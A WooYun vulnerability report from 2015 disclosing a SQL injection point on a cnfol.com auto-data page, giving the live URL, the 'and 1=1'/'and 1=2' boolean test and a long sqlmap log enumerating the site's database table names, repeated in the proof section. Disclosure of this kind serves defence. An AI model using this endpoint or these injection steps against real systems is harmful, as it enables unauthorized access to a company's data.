当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0102864

漏洞标题：福州中金证券分站有SQL注入点

相关厂商：福建中金在线网络股份有限公司

漏洞作者： 我不得踢噶

提交时间：2015-03-23 11:32

修复时间：2015-05-07 11:58

公开时间：2015-05-07 11:58

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-03-23： 细节已通知厂商并且等待厂商处理中
2015-03-23： 厂商已经确认，细节仅向厂商公开
2015-04-02： 细节向核心白帽子及相关领域专家公开
2015-04-12： 细节向普通白帽子公开
2015-04-22： 细节向实习白帽子公开
2015-05-07： 细节向公众公开

简要描述：

福州中金证券分站有SQL注入点

详细说明：

注入点地址:

http://data.auto.cnfol.com/bseries/photo/1512


and 1=1:

1=1.jpg


and 1=2:

1=2.jpg


废话少说，直接上sqlmap:

sqlmap.jpg


fol_data的表:

[14:51:20] [INFO] retrieved: "aeh_Financialindexranking"
[14:51:21] [INFO] retrieved: "aes_foreignexchangeloan"
[14:51:22] [INFO] retrieved: "afi_nonfarm"
[14:51:24] [INFO] retrieved: "agq_cardshanghu"
[14:51:25] [INFO] retrieved: "ajf_qhgs"
[14:51:27] [INFO] retrieved: "aju_GDP"
[14:51:28] [INFO] retrieved: "aks_meirilonghubang"
[14:51:29] [INFO] retrieved: "anj_Interbankrates"
[14:51:31] [INFO] retrieved: "aux_waihuijigouxinxi"
[14:51:32] [INFO] retrieved: "bbr_zspic"
[14:51:34] [INFO] retrieved: "bhn_celueyanjiu"
[14:51:35] [INFO] retrieved: "blj_brokercompany"
[14:51:36] [INFO] retrieved: "blq_shhleixing"
[14:51:38] [INFO] retrieved: "bnh_Stockaccountstatistics"
[14:51:39] [INFO] retrieved: "boi_Theforeigncurrencydeposits"
[14:51:40] [INFO] retrieved: "brb_gongsiyanjiu"
[14:51:42] [INFO] retrieved: "bse_yidognjinrongtuijian"
[14:51:43] [INFO] retrieved: "bvx_lcgjx"
[14:51:45] [INFO] retrieved: "cck_yejikuaibao"
[14:51:46] [INFO] retrieved: "cdu_baogaoqi"
[14:51:48] [INFO] retrieved: "cen_Businesssentimentandtheconfidenceindexofent...
[14:51:49] [INFO] retrieved: "cff_fenpeiyugao"
[14:51:50] [INFO] retrieved: "cgu_city"
[14:51:52] [INFO] retrieved: "ciw_Noticethetype"
[14:51:53] [INFO] retrieved: "cjl_xiugairenyuan"
[14:51:55] [INFO] retrieved: "com_xinguname"
[14:51:56] [INFO] retrieved: "crb_ymfs"
[14:51:58] [INFO] retrieved: "cwb_guanlijigou"
[14:51:59] [INFO] retrieved: "ddh_hongguanyanjiubaogao"
[14:52:00] [INFO] retrieved: "ddm_fundzd"
[14:52:02] [INFO] retrieved: "dkb_bankfuwuzifeifeiyongleixing"
[14:53:40] [INFO] retrieved: "dlo_jigouxingji"
[14:53:41] [INFO] retrieved: "dnl_Thetrendofoilpricedata"
[14:53:43] [INFO] retrieved: "drr_exposureReport"
[14:53:44] [INFO] retrieved: "dta_liuxuechengshi"
[14:53:45] [INFO] retrieved: "dub_daikzhonglei"
[14:53:47] [INFO] retrieved: "dxm_bankdaikuai"
[14:53:48] [INFO] retrieved: "dxu_audit"
[14:53:50] [INFO] retrieved: "dxv_wenziguanggaowei"
[14:53:51] [INFO] retrieved: "eef_bxpremium"
[14:53:53] [INFO] retrieved: "egq_newfund"
[14:53:54] [INFO] retrieved: "ehl_lxyxmc"
[14:53:56] [INFO] retrieved: "ehu_fundcyr"
[14:53:57] [INFO] retrieved: "eii_bxticket"
[14:53:59] [INFO] retrieved: "ejr_adviser"
[14:54:00] [INFO] retrieved: "elg_cuowuweizhi"
[14:54:01] [INFO] retrieved: "emw_unbseries"
[14:54:03] [INFO] retrieved: "eoc_cuowuleixing"
[14:54:04] [INFO] retrieved: "epp_carprice"
[14:54:06] [INFO] retrieved: "eqi_moneysupply"
[14:54:07] [INFO] retrieved: "erx_Consumerconfidenceindex"
[14:54:09] [INFO] retrieved: "etf_ymxmhz"
[14:54:10] [INFO] retrieved: "euv_taxreceipts"
[14:54:11] [INFO] retrieved: "fai_xintuochanpinku"
[14:54:13] [INFO] retrieved: "fcr_yanzhognxing"
[14:54:24] [INFO] retrieved: "fdi_zhongchou"
[14:54:25] [INFO] retrieved: "fen_xingbie"
[14:54:27] [INFO] retrieved: "field"
[14:54:30] [INFO] retrieved: "fqt_daikgongji"
[14:54:31] [INFO] retrieved: "frg_moneyrate"
[14:54:32] [INFO] retrieved: "fsa_property"
[14:54:34] [INFO] retrieved: "ftp_insurancequestion"
[14:56:12] [INFO] retrieved: "gbd_yhcity"
[14:56:14] [INFO] retrieved: "gbp_loanneeds"
[14:56:15] [INFO] retrieved: "gcj_autodatabase"
[14:56:17] [INFO] retrieved: "gdm_dlydzdymjg"
[14:56:18] [INFO] retrieved: "gfr_Importandexport"
[14:56:19] [INFO] retrieved: "gix_PPI"
[14:56:21] [INFO] retrieved: "gjv_database"
[14:56:22] [INFO] retrieved: "gnh_ymxm"
[14:56:24] [INFO] retrieved: "gsn_Stockforumclassification"
[14:56:25] [INFO] retrieved: "gua_caijingblog"
[14:56:26] [INFO] retrieved: "guw_fundgmbd"
[14:56:28] [INFO] retrieved: "gva_repairprice"
[14:56:29] [INFO] retrieved: "gvu_caijingweixintuijian"
[14:56:31] [INFO] retrieved: "hgi_bxtype"
[14:56:32] [INFO] retrieved: "hhd_yejiyugao"
[14:56:34] [INFO] retrieved: "hip_houseimg"
[14:56:35] [INFO] retrieved: "hpd_unauto"
[14:56:36] [INFO] retrieved: "hrg_Debitcard"
[14:56:38] [INFO] retrieved: "hro_creditdata"
[14:56:39] [INFO] retrieved: "hse_yhgw"
[14:56:41] [INFO] retrieved: "hxe_hushichunBguhangqing"
[14:56:42] [INFO] retrieved: "ias_gonggao"
[14:56:43] [INFO] retrieved: "ieg_bankfuwuzifeiqudao"
[14:56:45] [INFO] retrieved: "iet_credit"
[14:56:46] [INFO] retrieved: "ifm_xiugaishijian"
[14:56:48] [INFO] retrieved: "ihf_qgqp"
[14:56:49] [INFO] retrieved: "ihq_apptuijian"
[14:56:51] [INFO] retrieved: "ilc_fabujishixing"
[14:56:52] [INFO] retrieved: "inx_Autoclass"
[14:56:54] [INFO] retrieved: "irc_auto"
[14:56:55] [INFO] retrieved: "iwa_ymjg"
[14:58:40] [INFO] retrieved: "iwr_zhongyaodengji"
[14:58:42] [INFO] retrieved: "jkn_xingushanghui"
[14:58:43] [INFO] retrieved: "jpb_shegnhuogongju"
[14:58:44] [INFO] retrieved: "jpj_cardfeiqi"
[14:58:46] [INFO] retrieved: "jpw_hushiABgubijiabiao"
[14:58:47] [INFO] retrieved: "jrj_province"
[14:58:49] [INFO] retrieved: "jwp_classification"
[14:58:50] [INFO] retrieved: "jxu_house"
[14:58:51] [INFO] retrieved: "kcn_zqgs"
[14:58:53] [INFO] retrieved: "kfe_bseries"
[14:58:54] [INFO] retrieved: "kgw_jjwz"
[14:58:56] [INFO] retrieved: "kko_zsproject"
[14:58:58] [INFO] retrieved: "kmx_zxjg"
[14:58:59] [INFO] retrieved: "kno_city"
[14:59:01] [INFO] retrieved: "kod_newcar"
[14:59:02] [INFO] retrieved: "kpv_qhzh"
[14:59:03] [INFO] retrieved: "kqd_jjgs"
[14:59:05] [INFO] retrieved: "ktr_renwufenlei"
[14:59:06] [INFO] retrieved: "laf_financialrevenue"
[14:59:08] [INFO] retrieved: "lbw_jiguan"
[14:59:09] [INFO] retrieved: "ldc_Wealthtestinganswers"
[14:59:11] [INFO] retrieved: "les_series"
[14:59:12] [INFO] retrieved: "lia_huangjinjigouxinxi"
[14:59:13] [INFO] retrieved: "lit_lxyxxxqk"
[14:59:15] [INFO] retrieved: "lle_insuranceanswer"
[14:59:16] [INFO] retrieved: "lod_pic"
[14:59:18] [INFO] retrieved: "lpe_Socialconsumergoods"
[14:59:19] [INFO] retrieved: "lpf_yuanxiaohuizong"
[14:59:20] [INFO] retrieved: "lqk_yhleixing"
[14:59:22] [INFO] retrieved: "lqu_zuigaoxueli"
[14:59:24] [INFO] retrieved: "luk_lcgj"
[15:00:23] [INFO] retrieved: "mac_jfleibie"
[15:00:25] [INFO] retrieved: "mee_xinguyanbao"
[15:00:26] [INFO] retrieved: "mfi_faxingyinh"
[15:00:28] [INFO] retrieved: "mht_ymxmmc"
[15:00:29] [INFO] retrieved: "mso_Securitiescompany"
[15:00:30] [INFO] retrieved: "mww_Depositreserverate"
[15:00:32] [INFO] retrieved: "neb_yhlccp"
[15:00:33] [INFO] retrieved: "nii_piccate"
[15:00:34] [INFO] retrieved: "nit_Returntype"
[15:00:36] [INFO] retrieved: "nix_himgtype"
[15:00:37] [INFO] retrieved: "npk_caijingmenhu"
[15:00:39] [INFO] retrieved: "nsf_fundjlbd"
[15:00:40] [INFO] retrieved: "nso_zqwz"
[15:00:42] [INFO] retrieved: "ntw_statisticalreport"
[15:00:43] [INFO] retrieved: "ntx_guzhiqihuochengjiaochicang"
[15:00:45] [INFO] retrieved: "nvb_shijianleixing"
[15:00:46] [INFO] retrieved: "oas_supplementary"
[15:00:47] [INFO] retrieved: "ocj_caijingmenhutuijian"
[15:00:49] [INFO] retrieved: "ofl_bankresult"
[15:00:50] [INFO] retrieved: "oql_Securitiesunderwritingbusiness"
[15:00:52] [INFO] retrieved: "oqx_sanfangzhifu"
[15:00:53] [INFO] retrieved: "oso_repairitem"
[15:00:54] [INFO] retrieved: "pai_remenwangzhan"
[15:00:56] [INFO] retrieved: "pao_periodical"
[15:00:57] [INFO] retrieved: "pbd_chengpinyoutiaojia"
[15:00:59] [INFO] retrieved: "pbd_insurance"
[15:01:00] [INFO] retrieved: "pes_autobrand"
[15:01:02] [INFO] retrieved: "pjk_Companyresearchandprediction"
[15:01:03] [INFO] retrieved: "pnd_FDI"
[15:01:05] [INFO] retrieved: "ppf_shenshichunBguhangqing"
[15:01:06] [INFO] retrieved: "pth_jigou"
[15:01:52] [INFO] retrieved: "ptm_chiyouchuangtouguquangognsi"
[15:01:54] [INFO] retrieved: "pus_brandID"
[15:01:55] [INFO] retrieved: "pvm_cardgrade"
[15:01:57] [INFO] retrieved: "qee_Customerresources"
[15:01:58] [INFO] retrieved: "qfr_818chuguowangyiminluyandizhi"
[15:02:00] [INFO] retrieved: "qmm_cuowuren"
[15:02:01] [INFO] retrieved: "qoa_forex"
[15:02:03] [INFO] retrieved: "qpf_money"
[15:02:04] [INFO] retrieved: "qqd_Lifeinsurance"
[15:02:06] [INFO] retrieved: "qsw_sale"
[15:02:07] [INFO] retrieved: "qti_bankfuwuzifeiyewuleixing"
[15:02:08] [INFO] retrieved: "qur_mac/cpy.shtmlcpy"
[15:02:10] [INFO] retrieved: "qwh_AgencyShareTransfer"
[15:02:11] [INFO] retrieved: "qxa_lxyxlx"
[15:02:13] [INFO] retrieved: "rcm_Investmentinfixedassets"
[15:02:14] [INFO] retrieved: "rdv_cityresidentialsalespriceindex"
[15:02:16] [INFO] retrieved: "rff_currency"
[15:02:17] [INFO] retrieved: "rfg_wangzhanxinxijiucuo"
[15:02:19] [INFO] retrieved: "rfv_fundjingzhi"
[15:02:20] [INFO] retrieved: "rir_param"
[15:02:22] [INFO] retrieved: "rmn_weishequtuijian"
[15:02:23] [INFO] retrieved: "rnf_family"
[15:02:25] [INFO] retrieved: "rov_bankanswer"
[15:02:26] [INFO] retrieved: "rpl_feiqileibie"
[15:02:28] [INFO] retrieved: "rqk_hlwjrmh"
[15:02:29] [INFO] retrieved: "rsk_Corporategoodspriceindex"
[15:02:30] [INFO] retrieved: "rtj_shenshiABgubijiabiao"
[15:02:32] [INFO] retrieved: "rvo_bankguanwang"
[15:02:33] [INFO] retrieved: "rw_subtitle"
[15:02:35] [INFO] retrieved: "sac_jrtsfw"
[15:02:37] [INFO] retrieved: "sax_bankresult"
[15:03:17] [INFO] retrieved: "sbp_zhuantizhizuo"
[15:03:18] [INFO] retrieved: "sep_weishequ"
[15:03:20] [INFO] retrieved: "sik_xingurili"
[15:03:21] [INFO] retrieved: "skdtest_param"
[15:03:23] [INFO] retrieved: "sku_caijingapp"
[15:03:24] [INFO] retrieved: "slh_article"
[15:03:25] [INFO] retrieved: "slu_isgroom"
[15:03:27] [INFO] retrieved: "snj_caijingmeitigongzhonghao"
[15:03:28] [INFO] retrieved: "srk_guanggaoweichaxun"
[15:03:29] [INFO] retrieved: "swd_seller"
[15:03:31] [INFO] retrieved: "tables"
[15:03:32] [INFO] retrieved: "tet_mediaclass"
[15:03:34] [INFO] retrieved: "tfb_zhengzhimianmao"
[15:03:35] [INFO] retrieved: "tgn_Brokeragebusinesssponsor"
[15:03:37] [INFO] retrieved: "tir_paramclass"
[15:03:38] [INFO] retrieved: "tkg_chuangyebanxingumingcheng"
[15:03:39] [INFO] retrieved: "ttc_yhlcsjk2"
[15:03:41] [INFO] retrieved: "ttv_fundcom"
[15:03:42] [INFO] retrieved: "tvw_weituobizhong"
[15:03:44] [INFO] retrieved: "ubr_KeywordThesaurus"
[15:03:45] [INFO] retrieved: "udh_fundzjl"
[15:03:46] [INFO] retrieved: "ugf_yinhangbaoxian"
[15:03:48] [INFO] retrieved: "ugo_lc"
[15:03:50] [INFO] retrieved: "ukb_Goldandforeignexchangereserve"
[15:03:51] [INFO] retrieved: "ukj_bankname"
[15:03:52] [INFO] retrieved: "upq_Practitioners"
[15:03:54] [INFO] retrieved: "urn_Financialproblemsoftest"
[15:03:55] [INFO] retrieved: "use_newsdatabase"
[15:03:56] [INFO] retrieved: "usr_cardyouhui"
[15:03:58] [INFO] retrieved: "utc_renwushujuku"
[15:03:59] [INFO] retrieved: "uuf_ssgs"
[15:04:31] [INFO] retrieved: "uux_tourongzi"
[15:04:32] [INFO] retrieved: "uvh_gold"
[15:04:33] [INFO] retrieved: "uvr_cardjf"
[15:04:35] [INFO] retrieved: "uxn_Industrialaddedvaluegrowthrate"
[15:04:36] [INFO] retrieved: "vcd_CPI"
[15:04:37] [INFO] retrieved: "vcp_bxproperty"
[15:04:39] [INFO] retrieved: "ves_fundpj"
[15:04:40] [INFO] retrieved: "vfn_stockexchange"
[15:04:41] [INFO] retrieved: "vgm_xinguronzitongji"
[15:04:43] [INFO] retrieved: "vhe_lxgj"
[15:04:44] [INFO] retrieved: "vht_shangshigongsizhuanqianpaihangbang"
[15:04:46] [INFO] retrieved: "vik_yhlcsjk"
[15:04:47] [INFO] retrieved: "vkv_Securitiesbusinessoutlets"
[15:04:48] [INFO] retrieved: "vmm_cover"
[15:04:50] [INFO] retrieved: "vna_jinrongshequ"
[15:04:51] [INFO] retrieved: "vrx_bankquestion"
[15:04:53] [INFO] retrieved: "vsp_Housepriceindex"
[15:04:54] [INFO] retrieved: "vve_p2p"
[15:04:56] [INFO] retrieved: "vxk_electronbank"
[15:04:57] [INFO] retrieved: "wan_yanjiujigouname"
[15:04:59] [INFO] retrieved: "wbc_PMI"
[15:05:00] [INFO] retrieved: "wcj_xingudingweiyuce"
[15:05:02] [INFO] retrieved: "whu_Goldjewelry"
[15:05:03] [INFO] retrieved: "wjd_bankproduct"
[15:05:05] [INFO] retrieved: "wks_xintuofaxingjigou"
[15:05:06] [INFO] retrieved: "wpe_unbrand"
[15:05:07] [INFO] retrieved: "wpi_paramitem"
[15:05:09] [INFO] retrieved: "wtt_unseries"
[15:05:11] [INFO] retrieved: "wvd_gangguyanjiu"
[15:05:12] [INFO] retrieved: "xip_Wealthtestingoptions"
[15:05:14] [INFO] retrieved: "xkc_zhogndaxinwenchuli"
[15:05:49] [INFO] retrieved: "xnc_calendar"
[15:05:50] [INFO] retrieved: "xov_quanshangchenhui"
[15:05:52] [INFO] retrieved: "xtf_hkstock1"
[15:05:53] [INFO] retrieved: "xtp_renwusuoshuhangye"
[15:05:55] [INFO] retrieved: "xuh_ymgj"
[15:05:56] [INFO] retrieved: "xvb_securitiescompanyexecutives"
[15:05:58] [INFO] retrieved: "xvw_hangyeyanjiu"


具体的就没看了。

漏洞证明：

注入点地址:

http://data.auto.cnfol.com/bseries/photo/1512


and 1=1:

1=1.jpg


and 1=2:

1=2.jpg


废话少说，直接上sqlmap:

sqlmap.jpg


fol_data的表:

[14:51:20] [INFO] retrieved: "aeh_Financialindexranking"
[14:51:21] [INFO] retrieved: "aes_foreignexchangeloan"
[14:51:22] [INFO] retrieved: "afi_nonfarm"
[14:51:24] [INFO] retrieved: "agq_cardshanghu"
[14:51:25] [INFO] retrieved: "ajf_qhgs"
[14:51:27] [INFO] retrieved: "aju_GDP"
[14:51:28] [INFO] retrieved: "aks_meirilonghubang"
[14:51:29] [INFO] retrieved: "anj_Interbankrates"
[14:51:31] [INFO] retrieved: "aux_waihuijigouxinxi"
[14:51:32] [INFO] retrieved: "bbr_zspic"
[14:51:34] [INFO] retrieved: "bhn_celueyanjiu"
[14:51:35] [INFO] retrieved: "blj_brokercompany"
[14:51:36] [INFO] retrieved: "blq_shhleixing"
[14:51:38] [INFO] retrieved: "bnh_Stockaccountstatistics"
[14:51:39] [INFO] retrieved: "boi_Theforeigncurrencydeposits"
[14:51:40] [INFO] retrieved: "brb_gongsiyanjiu"
[14:51:42] [INFO] retrieved: "bse_yidognjinrongtuijian"
[14:51:43] [INFO] retrieved: "bvx_lcgjx"
[14:51:45] [INFO] retrieved: "cck_yejikuaibao"
[14:51:46] [INFO] retrieved: "cdu_baogaoqi"
[14:51:48] [INFO] retrieved: "cen_Businesssentimentandtheconfidenceindexofent...
[14:51:49] [INFO] retrieved: "cff_fenpeiyugao"
[14:51:50] [INFO] retrieved: "cgu_city"
[14:51:52] [INFO] retrieved: "ciw_Noticethetype"
[14:51:53] [INFO] retrieved: "cjl_xiugairenyuan"
[14:51:55] [INFO] retrieved: "com_xinguname"
[14:51:56] [INFO] retrieved: "crb_ymfs"
[14:51:58] [INFO] retrieved: "cwb_guanlijigou"
[14:51:59] [INFO] retrieved: "ddh_hongguanyanjiubaogao"
[14:52:00] [INFO] retrieved: "ddm_fundzd"
[14:52:02] [INFO] retrieved: "dkb_bankfuwuzifeifeiyongleixing"
[14:53:40] [INFO] retrieved: "dlo_jigouxingji"
[14:53:41] [INFO] retrieved: "dnl_Thetrendofoilpricedata"
[14:53:43] [INFO] retrieved: "drr_exposureReport"
[14:53:44] [INFO] retrieved: "dta_liuxuechengshi"
[14:53:45] [INFO] retrieved: "dub_daikzhonglei"
[14:53:47] [INFO] retrieved: "dxm_bankdaikuai"
[14:53:48] [INFO] retrieved: "dxu_audit"
[14:53:50] [INFO] retrieved: "dxv_wenziguanggaowei"
[14:53:51] [INFO] retrieved: "eef_bxpremium"
[14:53:53] [INFO] retrieved: "egq_newfund"
[14:53:54] [INFO] retrieved: "ehl_lxyxmc"
[14:53:56] [INFO] retrieved: "ehu_fundcyr"
[14:53:57] [INFO] retrieved: "eii_bxticket"
[14:53:59] [INFO] retrieved: "ejr_adviser"
[14:54:00] [INFO] retrieved: "elg_cuowuweizhi"
[14:54:01] [INFO] retrieved: "emw_unbseries"
[14:54:03] [INFO] retrieved: "eoc_cuowuleixing"
[14:54:04] [INFO] retrieved: "epp_carprice"
[14:54:06] [INFO] retrieved: "eqi_moneysupply"
[14:54:07] [INFO] retrieved: "erx_Consumerconfidenceindex"
[14:54:09] [INFO] retrieved: "etf_ymxmhz"
[14:54:10] [INFO] retrieved: "euv_taxreceipts"
[14:54:11] [INFO] retrieved: "fai_xintuochanpinku"
[14:54:13] [INFO] retrieved: "fcr_yanzhognxing"
[14:54:24] [INFO] retrieved: "fdi_zhongchou"
[14:54:25] [INFO] retrieved: "fen_xingbie"
[14:54:27] [INFO] retrieved: "field"
[14:54:30] [INFO] retrieved: "fqt_daikgongji"
[14:54:31] [INFO] retrieved: "frg_moneyrate"
[14:54:32] [INFO] retrieved: "fsa_property"
[14:54:34] [INFO] retrieved: "ftp_insurancequestion"
[14:56:12] [INFO] retrieved: "gbd_yhcity"
[14:56:14] [INFO] retrieved: "gbp_loanneeds"
[14:56:15] [INFO] retrieved: "gcj_autodatabase"
[14:56:17] [INFO] retrieved: "gdm_dlydzdymjg"
[14:56:18] [INFO] retrieved: "gfr_Importandexport"
[14:56:19] [INFO] retrieved: "gix_PPI"
[14:56:21] [INFO] retrieved: "gjv_database"
[14:56:22] [INFO] retrieved: "gnh_ymxm"
[14:56:24] [INFO] retrieved: "gsn_Stockforumclassification"
[14:56:25] [INFO] retrieved: "gua_caijingblog"
[14:56:26] [INFO] retrieved: "guw_fundgmbd"
[14:56:28] [INFO] retrieved: "gva_repairprice"
[14:56:29] [INFO] retrieved: "gvu_caijingweixintuijian"
[14:56:31] [INFO] retrieved: "hgi_bxtype"
[14:56:32] [INFO] retrieved: "hhd_yejiyugao"
[14:56:34] [INFO] retrieved: "hip_houseimg"
[14:56:35] [INFO] retrieved: "hpd_unauto"
[14:56:36] [INFO] retrieved: "hrg_Debitcard"
[14:56:38] [INFO] retrieved: "hro_creditdata"
[14:56:39] [INFO] retrieved: "hse_yhgw"
[14:56:41] [INFO] retrieved: "hxe_hushichunBguhangqing"
[14:56:42] [INFO] retrieved: "ias_gonggao"
[14:56:43] [INFO] retrieved: "ieg_bankfuwuzifeiqudao"
[14:56:45] [INFO] retrieved: "iet_credit"
[14:56:46] [INFO] retrieved: "ifm_xiugaishijian"
[14:56:48] [INFO] retrieved: "ihf_qgqp"
[14:56:49] [INFO] retrieved: "ihq_apptuijian"
[14:56:51] [INFO] retrieved: "ilc_fabujishixing"
[14:56:52] [INFO] retrieved: "inx_Autoclass"
[14:56:54] [INFO] retrieved: "irc_auto"
[14:56:55] [INFO] retrieved: "iwa_ymjg"
[14:58:40] [INFO] retrieved: "iwr_zhongyaodengji"
[14:58:42] [INFO] retrieved: "jkn_xingushanghui"
[14:58:43] [INFO] retrieved: "jpb_shegnhuogongju"
[14:58:44] [INFO] retrieved: "jpj_cardfeiqi"
[14:58:46] [INFO] retrieved: "jpw_hushiABgubijiabiao"
[14:58:47] [INFO] retrieved: "jrj_province"
[14:58:49] [INFO] retrieved: "jwp_classification"
[14:58:50] [INFO] retrieved: "jxu_house"
[14:58:51] [INFO] retrieved: "kcn_zqgs"
[14:58:53] [INFO] retrieved: "kfe_bseries"
[14:58:54] [INFO] retrieved: "kgw_jjwz"
[14:58:56] [INFO] retrieved: "kko_zsproject"
[14:58:58] [INFO] retrieved: "kmx_zxjg"
[14:58:59] [INFO] retrieved: "kno_city"
[14:59:01] [INFO] retrieved: "kod_newcar"
[14:59:02] [INFO] retrieved: "kpv_qhzh"
[14:59:03] [INFO] retrieved: "kqd_jjgs"
[14:59:05] [INFO] retrieved: "ktr_renwufenlei"
[14:59:06] [INFO] retrieved: "laf_financialrevenue"
[14:59:08] [INFO] retrieved: "lbw_jiguan"
[14:59:09] [INFO] retrieved: "ldc_Wealthtestinganswers"
[14:59:11] [INFO] retrieved: "les_series"
[14:59:12] [INFO] retrieved: "lia_huangjinjigouxinxi"
[14:59:13] [INFO] retrieved: "lit_lxyxxxqk"
[14:59:15] [INFO] retrieved: "lle_insuranceanswer"
[14:59:16] [INFO] retrieved: "lod_pic"
[14:59:18] [INFO] retrieved: "lpe_Socialconsumergoods"
[14:59:19] [INFO] retrieved: "lpf_yuanxiaohuizong"
[14:59:20] [INFO] retrieved: "lqk_yhleixing"
[14:59:22] [INFO] retrieved: "lqu_zuigaoxueli"
[14:59:24] [INFO] retrieved: "luk_lcgj"
[15:00:23] [INFO] retrieved: "mac_jfleibie"
[15:00:25] [INFO] retrieved: "mee_xinguyanbao"
[15:00:26] [INFO] retrieved: "mfi_faxingyinh"
[15:00:28] [INFO] retrieved: "mht_ymxmmc"
[15:00:29] [INFO] retrieved: "mso_Securitiescompany"
[15:00:30] [INFO] retrieved: "mww_Depositreserverate"
[15:00:32] [INFO] retrieved: "neb_yhlccp"
[15:00:33] [INFO] retrieved: "nii_piccate"
[15:00:34] [INFO] retrieved: "nit_Returntype"
[15:00:36] [INFO] retrieved: "nix_himgtype"
[15:00:37] [INFO] retrieved: "npk_caijingmenhu"
[15:00:39] [INFO] retrieved: "nsf_fundjlbd"
[15:00:40] [INFO] retrieved: "nso_zqwz"
[15:00:42] [INFO] retrieved: "ntw_statisticalreport"
[15:00:43] [INFO] retrieved: "ntx_guzhiqihuochengjiaochicang"
[15:00:45] [INFO] retrieved: "nvb_shijianleixing"
[15:00:46] [INFO] retrieved: "oas_supplementary"
[15:00:47] [INFO] retrieved: "ocj_caijingmenhutuijian"
[15:00:49] [INFO] retrieved: "ofl_bankresult"
[15:00:50] [INFO] retrieved: "oql_Securitiesunderwritingbusiness"
[15:00:52] [INFO] retrieved: "oqx_sanfangzhifu"
[15:00:53] [INFO] retrieved: "oso_repairitem"
[15:00:54] [INFO] retrieved: "pai_remenwangzhan"
[15:00:56] [INFO] retrieved: "pao_periodical"
[15:00:57] [INFO] retrieved: "pbd_chengpinyoutiaojia"
[15:00:59] [INFO] retrieved: "pbd_insurance"
[15:01:00] [INFO] retrieved: "pes_autobrand"
[15:01:02] [INFO] retrieved: "pjk_Companyresearchandprediction"
[15:01:03] [INFO] retrieved: "pnd_FDI"
[15:01:05] [INFO] retrieved: "ppf_shenshichunBguhangqing"
[15:01:06] [INFO] retrieved: "pth_jigou"
[15:01:52] [INFO] retrieved: "ptm_chiyouchuangtouguquangognsi"
[15:01:54] [INFO] retrieved: "pus_brandID"
[15:01:55] [INFO] retrieved: "pvm_cardgrade"
[15:01:57] [INFO] retrieved: "qee_Customerresources"
[15:01:58] [INFO] retrieved: "qfr_818chuguowangyiminluyandizhi"
[15:02:00] [INFO] retrieved: "qmm_cuowuren"
[15:02:01] [INFO] retrieved: "qoa_forex"
[15:02:03] [INFO] retrieved: "qpf_money"
[15:02:04] [INFO] retrieved: "qqd_Lifeinsurance"
[15:02:06] [INFO] retrieved: "qsw_sale"
[15:02:07] [INFO] retrieved: "qti_bankfuwuzifeiyewuleixing"
[15:02:08] [INFO] retrieved: "qur_mac/cpy.shtmlcpy"
[15:02:10] [INFO] retrieved: "qwh_AgencyShareTransfer"
[15:02:11] [INFO] retrieved: "qxa_lxyxlx"
[15:02:13] [INFO] retrieved: "rcm_Investmentinfixedassets"
[15:02:14] [INFO] retrieved: "rdv_cityresidentialsalespriceindex"
[15:02:16] [INFO] retrieved: "rff_currency"
[15:02:17] [INFO] retrieved: "rfg_wangzhanxinxijiucuo"
[15:02:19] [INFO] retrieved: "rfv_fundjingzhi"
[15:02:20] [INFO] retrieved: "rir_param"
[15:02:22] [INFO] retrieved: "rmn_weishequtuijian"
[15:02:23] [INFO] retrieved: "rnf_family"
[15:02:25] [INFO] retrieved: "rov_bankanswer"
[15:02:26] [INFO] retrieved: "rpl_feiqileibie"
[15:02:28] [INFO] retrieved: "rqk_hlwjrmh"
[15:02:29] [INFO] retrieved: "rsk_Corporategoodspriceindex"
[15:02:30] [INFO] retrieved: "rtj_shenshiABgubijiabiao"
[15:02:32] [INFO] retrieved: "rvo_bankguanwang"
[15:02:33] [INFO] retrieved: "rw_subtitle"
[15:02:35] [INFO] retrieved: "sac_jrtsfw"
[15:02:37] [INFO] retrieved: "sax_bankresult"
[15:03:17] [INFO] retrieved: "sbp_zhuantizhizuo"
[15:03:18] [INFO] retrieved: "sep_weishequ"
[15:03:20] [INFO] retrieved: "sik_xingurili"
[15:03:21] [INFO] retrieved: "skdtest_param"
[15:03:23] [INFO] retrieved: "sku_caijingapp"
[15:03:24] [INFO] retrieved: "slh_article"
[15:03:25] [INFO] retrieved: "slu_isgroom"
[15:03:27] [INFO] retrieved: "snj_caijingmeitigongzhonghao"
[15:03:28] [INFO] retrieved: "srk_guanggaoweichaxun"
[15:03:29] [INFO] retrieved: "swd_seller"
[15:03:31] [INFO] retrieved: "tables"
[15:03:32] [INFO] retrieved: "tet_mediaclass"
[15:03:34] [INFO] retrieved: "tfb_zhengzhimianmao"
[15:03:35] [INFO] retrieved: "tgn_Brokeragebusinesssponsor"
[15:03:37] [INFO] retrieved: "tir_paramclass"
[15:03:38] [INFO] retrieved: "tkg_chuangyebanxingumingcheng"
[15:03:39] [INFO] retrieved: "ttc_yhlcsjk2"
[15:03:41] [INFO] retrieved: "ttv_fundcom"
[15:03:42] [INFO] retrieved: "tvw_weituobizhong"
[15:03:44] [INFO] retrieved: "ubr_KeywordThesaurus"
[15:03:45] [INFO] retrieved: "udh_fundzjl"
[15:03:46] [INFO] retrieved: "ugf_yinhangbaoxian"
[15:03:48] [INFO] retrieved: "ugo_lc"
[15:03:50] [INFO] retrieved: "ukb_Goldandforeignexchangereserve"
[15:03:51] [INFO] retrieved: "ukj_bankname"
[15:03:52] [INFO] retrieved: "upq_Practitioners"
[15:03:54] [INFO] retrieved: "urn_Financialproblemsoftest"
[15:03:55] [INFO] retrieved: "use_newsdatabase"
[15:03:56] [INFO] retrieved: "usr_cardyouhui"
[15:03:58] [INFO] retrieved: "utc_renwushujuku"
[15:03:59] [INFO] retrieved: "uuf_ssgs"
[15:04:31] [INFO] retrieved: "uux_tourongzi"
[15:04:32] [INFO] retrieved: "uvh_gold"
[15:04:33] [INFO] retrieved: "uvr_cardjf"
[15:04:35] [INFO] retrieved: "uxn_Industrialaddedvaluegrowthrate"
[15:04:36] [INFO] retrieved: "vcd_CPI"
[15:04:37] [INFO] retrieved: "vcp_bxproperty"
[15:04:39] [INFO] retrieved: "ves_fundpj"
[15:04:40] [INFO] retrieved: "vfn_stockexchange"
[15:04:41] [INFO] retrieved: "vgm_xinguronzitongji"
[15:04:43] [INFO] retrieved: "vhe_lxgj"
